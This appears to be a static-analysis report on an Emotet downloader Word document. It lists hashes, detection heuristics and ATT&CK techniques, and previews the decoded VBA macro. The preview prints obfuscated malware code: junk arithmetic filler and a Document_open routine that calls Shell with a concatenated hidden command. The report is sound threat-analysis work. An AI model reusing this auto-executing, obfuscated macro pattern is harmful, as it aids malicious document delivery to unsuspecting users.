Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 86ab7422295ae67d…

MALICIOUS

Office (OLE)

168.0 KB Created: 2018-07-20 13:06:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 4be9ba020c4984eba4155ec9b30ab8fd SHA-1: cda6392c560b8fa1ee32bd152dd0a1c4c05472d8 SHA-256: 86ab7422295ae67d8f1c3a671802240c5967137df5e6b8b633e7bd6c1811e84a
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a critical finding. The critical heuristic 'OLE_VBA_SHELL' indicates the use of the Shell() function, suggesting the macro attempts to execute external commands or download and run a payload. ClamAV detection confirms this as 'Doc.Downloader.Emotet-7349881-0', strongly indicating Emotet family activity.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-7349881-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7349881-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31632 bytes
SHA-256: 9cf87d2d7f9824de2824ae823954bacbcc5a0fc73ad6a71c4148096d80307cf4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DnwKEMsntMlr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function rJVkMKFYYVzw()
On Error Resume Next
   ZZjZF = (88403 - FQDYa / OkhfjP + MIiEdo - 23975 * GoVVni - akJGH / uaKnU)
   qjbon = (16182 - okzOwQ / MwvRZ + PQiKlO - 64694 * azQiMB - zqNMvz / ZXWQt)
   wwcki = (93178 - ftTCWd / jTLnkJ + idtMJa - 55204 * oJojLW - vjalvW / imUzC)
   pqqjiK = (98013 - rcwRh / wbiDmK + JwWdH - 62111 * hXQIh - BQwor / jkjIMo)
End Function
Private Function ZkJwEwSWJEPk()
On Error Resume Next
   aqUKmN = (33089 - kDCtVP / DswGLz + WajtX - 25436 * fpmnj - UmGIYk / rwmvEt)
   ujXLw = (28198 - wbIKIt / MPdYPY + jOsbt - 22622 * dLKHQv - BRbBop / IBmwEZ)
   mkVpT = (29290 - SQQkWl / vFnFM + BciwRz - 33680 * ZHaAvz - nTwVO / FLSjSB)
   DFSwwY = (38609 - atqDYE / QGlid + mpibK - 22377 * onodI - cjTpn / zrfPi)
End Function
Private Function HjzjYRw()
On Error Resume Next
   acqnwt = (52230 - SBnALn / uOTpAq + NsWpku - 51892 * pjoRSP - dDrip / jpWYSj)
   sflSkO = (12275 - vOhJm / HKcPED + NJTRL - 40399 * jjbFGD - aijmk / fjUiDA)
   awtDqO = (96177 - JJjCf / DLuUi + lPzRAk - 63021 * zQRLb - PmvObA / MuiCn)
   kmSGrn = (65361 - OZilDJ / rsfiw + iRWsJ - 57680 * EGPCWz - AiiMM / wlknRD)
   iCAQc = (95715 - TYiPHA / clOfzh + MVPQzb - 38592 * QdTlG - mOtlQ / EBcXL)
   aLBwTk = (59269 - RAZtN / LmcCji + jsdUEc - 58000 * pOKNOG - aGnTh / MjMrl)
   jwwLl = (17222 - WjlzfW / KIBvVt + qXUtj - 41683 * KtrFQC - KSRicX / GctGtm)
End Function
Private Function ZEQoNUiXZVzFFJ()
On Error Resume Next
   wXvNZ = (58021 - wClLX / jQsvi + ObfbRa - 46970 * NrGtkc - RZVDvt / lpPju)
   SKAXfN = (98075 - JMzHs / XbKrk + QWIOMI - 2652 * wRQUX - hsAsRM / CiBVb)
   XGzZDu = (29072 - GCIzc / sGcrkz + oiidUN - 58399 * ovRKuo - jwFjqm / pDzVtz)
   lmGqs = (33732 - SvdmAz / Evrau + SrWsjp - 18172 * pLkjYI - FADsLz / dsQuts)
End Function
Private Sub Document_open()
On Error Resume Next
   KjNfj = (72180 - aRVhj / LMPDvd + ujatwj - 80910 * qSlRt - UDNhaz / kQKTX)
   IiOnb = (48577 - wpPDMX / RGtEC + HiRtGs - 84183 * jaMHjb - ifAGT / jrwHp)
   XcvLLC = (24921 - FUjwvo / zjQpwr + BWVji - 18089 * QZbwu - NXZFr / szsAd)
   tikUv = (70107 - MZcIa / qokuLp + KLswH - 51401 * YoQzZu - viQPi / LMflvj)
   jaXUkH = (97047 - fAlipQ / kPGCRC + BLuHzX - 24032 * MBjdak - ENDKb / dWiKZ)
   olkwk = (40539 - iplNUz / YJfij + vKTfdz - 94707 * jHCXjS - CfwpYF / oiBNt)
Shell "" + RaDhoEO + qfTDIpuFwB + CVar("c") + bKKzYwLJWr + IAqWtJpm + TcwIH + wFQEv + rDzBws + rQToBWchWtz + KvQGjPH + tShSSFw + UwWhu + ioriJtMIZur + VGzCuzj + IRvWtasAqoh + wWUuz + IDCVOwi + jWznnqUH + pvZuHADEcD + sCddOR + cfwfnGit + PnJrQfLo + GMDPZiSFVl + CijqofQ, 0
   XmKlC = (8455 - GUXOsR / sqpRcX + aBwHw - 44447 * PMSZC - CbkiqU / pVUukK)
   htHZiV = (78533 - PFlIKB / UQsFka + DBELGv - 22548 * NvTsZ - vqrId / Fflrsh)
End Sub
Private Function upFnPZXhztaHsV()
On Error Resume Next
   BhazsU = (33392 - FCzPKE / rFGXO + hCzsQ - 56031 * tzfST - ifWHia / nSHAFU)
   wSJQkv = (39602 - pZoLiS / qFLvN + bBiLiz - 10435 * kMwFX - tRXJwU / wqlMDi)
   KpZwY = (17592 - KjZDi / SjIbkO + TzJGjb - 90230 * NRjEL - cFJjbi / ANvLR)
   tGwHWL = (38299 - dFcrHk / WfviV + Vzcwml - 30700 * wmvijz - jLzUPA / CCjUCL)
   VatRzw = (2479 - jTQwO / zSqzXF + bzrJfY - 36598 * OvOPKE - XRGPaP / qTiUV)
End Function
Private Function BaFVzwlOiDhRrI()
On Error Resume Next
   IOrAz = (21712 - oMjMz / rTQhi + boKUQ - 87480 * pDBPR - jPvzq / FSQKrL)
   hWzMU = (16124 - jakDoU / krQzcG + OfQsXH - 56799 * kJwYN - bQDklw / vDqLdp)
   pbnQGH = (51685 - vjFjC / oHkUK + UhsGpV - 7871 * nKwNQE - icWouA / aOrELH)
   WjUYbA = (77949 - MAOGo / jGCtf + zowZrd - 51917 * PFMAq - WifqVu / QGKVdv)
   oOiIvS = (82588 - UzBGSp / GPGGJb + NqIjS - 55116 * jtRzPw - RQSKkk / mksdFc)
   laMwu = (93217 - muhwZi / GoNPEh + aMXkL - 68488 * lDNhsE - izDvno / lJWUuf)
End Function
Private Function lWVhqN
... (truncated)